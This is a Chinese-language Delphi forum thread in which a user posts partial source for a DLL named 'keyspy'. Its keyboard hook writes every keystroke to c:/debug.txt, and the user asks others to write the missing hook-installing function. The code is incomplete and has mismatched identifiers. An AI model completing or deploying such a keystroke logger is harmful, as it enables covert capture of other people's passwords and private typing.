关于HOOK的问题???(50分)

  • 主题发起人 主题发起人 6bytes
  • 开始时间 开始时间
6

6bytes

Unregistered / Unconfirmed
GUEST, unregistred user!
 导出setkeyhook和endkeyhook两个,在PAS中只有endkeyhook,不知道setkeyhook的内容怎么写?<br>&nbsp; &nbsp; library 的代码如下:<br>&nbsp; &nbsp; library keyspy;<br>  uses windows, messages, hookproc in 'hookproc.pas';<br>  exports setkeyhook, endkeyhook;<br>  begin<br>&nbsp; &nbsp; nexthookproc:=0;<br>  procsaveexit:=exitproc;<br>  exitproc:=@keyhookexit;<br>  end.<br>&nbsp; &nbsp; 连接的HOOKPROC.PAS代码如下:<br>&nbsp; &nbsp; unit hookproc;<br>  interface <br>&nbsp; &nbsp; uses Windows, Messages, SysUtils, Controls, StdCtrls;<br>  var <br>&nbsp; &nbsp; nexthookproc:hhook;<br>  procsaveexit:pointer;<br>  function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;<br>  function setkeyhook:bool;export;//加载钩子<br>  function endkeyhook:bool;export;//卸载钩子<br>  procedure keyhookexit;far;<br>  const <br>&nbsp; &nbsp; afilename='c:/debug.txt';//将键盘输入动作写入文件中<br>  var <br>&nbsp; &nbsp; debugfile:textfile;<br>  implementation <br><br>&nbsp; &nbsp; function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export;<br>  begin <br>&nbsp; &nbsp; if icode&lt;0 then<br>   begin <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;result:=callnexthookex(hnexthookproc,icode,wparam,lparam);<br>    &nbsp; exit;<br>   &nbsp;end;<br>  assignfile(debugfile,afilename);<br>  append(debugfile);  <br>   if getkeystate(vk_return)&lt;0 then<br>    begin <br>&nbsp; &nbsp; &nbsp; &nbsp; writeln(debugfile,'');<br>    write(debugfile,char(wparam));<br>    end<br>   else <br>&nbsp; &nbsp; &nbsp; &nbsp; write(debugfile,char(wparam));<br>    closefile(debugfile);<br>    result:=0;<br>    end;<br><br>  function endkeyhook:bool;export;<br>  begin <br>&nbsp; &nbsp; &nbsp; if nexthookproc&lt;&gt;0 then<br>    &nbsp; &nbsp;begin <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;unhookwindowshookex(nexthookproc);<br>    &nbsp; &nbsp; nexthookproc:=0;<br>    &nbsp; &nbsp; messagebeep(0);<br>    &nbsp; &nbsp;end;<br>   &nbsp; &nbsp; &nbsp; result:=hnexthookproc=0;<br>  end;<br><br>  procedure keyhookexit;<br>   &nbsp; far;<br>   &nbsp; begin <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if nexthookproc&lt;&gt;0 then<br>   &nbsp; &nbsp; &nbsp; &nbsp;endkeyhook;<br>   &nbsp; &nbsp; &nbsp; &nbsp;exitproc:=procsaveexit;<br>   &nbsp; end;<br>  end. <br>
 
搜索一下HOOK或者钩子,以前这类的问题很多,我的第一个程序就是抄这里的
 
有那位好心人帮我写一下???愿意再出50分!!!![purple][/purple][:D]
 
后退
顶部